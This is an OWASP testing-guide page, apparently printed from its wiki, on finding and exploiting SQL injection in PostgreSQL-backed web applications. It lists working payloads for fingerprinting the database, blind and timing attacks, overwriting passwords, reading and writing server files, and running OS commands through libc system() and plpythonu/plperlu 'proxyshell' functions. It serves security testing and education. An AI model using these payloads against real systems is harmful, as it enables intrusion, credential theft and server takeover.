11/03/15 9:34 pmOWASP Backend Security Project Testing PostgreSQL - OWASP

Page 1 of 7https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL

OWASP Backend Security Project TestingPostgreSQLFrom OWASP

1 Summary2 How to Test

2.1 Identifying PostgreSQL2.2 Blind Injection2.3 Single Quote unescape2.4 Attack Vectors

2.4.1 Current User2.4.2 Current Database2.4.3 Reading from a file2.4.4 Writing to a file2.4.5 Shell Injection

2.4.5.1 Dynamic Library2.4.5.2 plpython2.4.5.3 plperl

3 References

SummaryIn this section, some SQL Injection techniques for PostgreSQL will be discussed. These techniques have thefollowing characteristics:

PHP Connector allows multiple statements to be executed by using ; as a statement separatorSQL Statements can be truncated by appending the comment char: --.LIMIT and OFFSET can be used in a SELECT statement to retrieve a portion of the result set generatedby the query

From now on it is assumed that http://www.example.com/news.php?id=1 is vulnerable to SQL Injectionattacks.

How to Test

Identifying PostgreSQL

When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You candetermine that the backend database engine is PostgreSQL by using the :: cast operator.

Examples:

http://www.example.com/store.php?id=1 AND 1::int=1

11/03/15 9:34 pmOWASP Backend Security Project Testing PostgreSQL - OWASP

Page 2 of 7https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL

In addition, the function version() can be used to grab the PostgreSQL banner. This will also show theunderlying operating system type and version.

Example:

http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--

An example of a banner string that could be returned is:

PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection

For blind SQL injection attacks, you should take into consideration the following built-in functions:

String Length

LENGTH(str)

Extract a substring from a given string

SUBSTR(str,index,offset)

String representation with no single quotes

CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Starting at version 8.2, PostgreSQL introduced a built-in function, pg_sleep(n), to make the current sessionprocess sleep for n seconds. This function can be leveraged to execute timing attacks (discussed in detail atBlind SQL Injection).

In addition, you can easily create a custom pg_sleep(n) in previous versions by using libc:

CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

Single Quote unescape

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

chr(n): Returns the character whose ASCII value corresponds to the number nascii(n): Returns the ASCII value which corresponds to the character n

11/03/15 9:34 pmOWASP Backend Security Project Testing PostgreSQL - OWASP

Page 3 of 7https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL

Let's say you want to encode the string 'root':

select ascii('r') 114 select ascii('o') 111 select ascii('t') 116

We can encode 'root' as:

chr(114)||chr(111)||chr(111)||chr(116)

Example:

Attack Vectors

Current User

The identity of the current user can be retrieved with the following SQL SELECT statements:

SELECT user SELECT current_user SELECT session_user SELECT usename FROM pg_user SELECT getpgusername()

Examples:

http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-- http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database

The built-in function current_database() returns the current database name.

Example:

http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

11/03/15 9:34 pmOWASP Backend Security Project Testing PostgreSQL - OWASP

Page 4 of 7https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL

http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--

Reading from a file

PostgreSQL provides two ways to access a local file:

COPY statementpg_read_file() internal function (starting from PostgreSQL 8.1)

COPY:

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system asthe postgres user.

Example:

/store.php?id=1; CREATE TABLE file_store(id serial, data text)--/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--

Data should be retrieved by performing a UNION Query SQL Injection:

retrieves the number of rows previously added in file_store with COPY statementretrieves a row at a time with UNION SQL Injection

Example:

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--....../store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

pg_read_file():

This function was introduced in PostgreSQL 8.1 and allows one to read arbitrary files located inside DBMSdata directory.

Examples:

SELECT pg_read_file('server.key',0,1000);

11/03/15 9:34 pmOWASP Backend Security Project Testing PostgreSQL - OWASP

Page 5 of 7https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL

Writing to a file

By reverting the COPY statement, we can write to the local file system with the postgres user rights

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--

Shell Injection

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scriptinglanguages such as python, perl, and tcl.

Dynamic Library

Until PostgreSQL 8.1, it was possible to add a custom function linked with libc:

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C'STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:

create a stdout table

CREATE TABLE stdout(id serial, system_out text)

executing a shell command redirecting its stdout

SELECT system('uname -a > /tmp/test')

use a COPY statements to push output of previous command in stdout table

COPY stdout(system_out) FROM '/tmp/test'

retrieve output from stdout

SELECT system_out FROM stdout

Example:

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

11/03/15 9:34 pmOWASP Backend Security Project Testing PostgreSQL - OWASP

Page 6 of 7https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL

plpython

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrictwhat user can do. It's not installed by default and can be enabled on a given database by CREATELANG

Check if PL/Python has been enabled on a database:

SELECT count(*) FROM pg_language WHERE lanname='plpythonu'

If not, try to enable:

CREATE LANGUAGE plpythonu

If either of the above succeeded, create a proxy shell function:

CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; returnos.popen(args[0]).read() 'LANGUAGE plpythonu

Have fun with:

SELECT proxyshell(os command);

Example:

Create a proxy shell function:

/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; returnos.popen(args[0]).read()’ LANGUAGE plpythonu;--

Run an OS Command:

/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

plperl

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in orderto disable runtime execution of operations that interact with the underlying operating system, such as open.By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

11/03/15 9:34 pmOWASP Backend Security Project Testing PostgreSQL - OWASP

Page 7 of 7https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL

to install the untrusted version from the postgres user, to avoid the so-called application mask filtering oftrusted/untrusted operations.

Check if PL/perl-untrusted has been enabled:

SELECT count(*) FROM pg_language WHERE lanname='plperlu'

If not, assuming that sysadm has already installed the plperl package, try :

CREATE LANGUAGE plperlu

If either of the above succeeded, create a proxy shell function:

CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu

Have fun with:

SELECT proxyshell(os command);

Example:

Create a proxy shell function:

/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0]|");return join("",<FD>);' LANGUAGE plperlu;

Run an OS Command:

/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

ReferencesOWASP : "Testing for SQL Injection"

OWASP : SQL Injection Prevention Cheat Sheet

PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool -http://sqlmap.sourceforge.net

Retrieved from "https://www.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&oldid=179647"

This page was last modified on 31 July 2014, at 11:02.This page has been accessed 36,635 times.Content is available under a Creative Commons 3.0 License unless otherwise noted.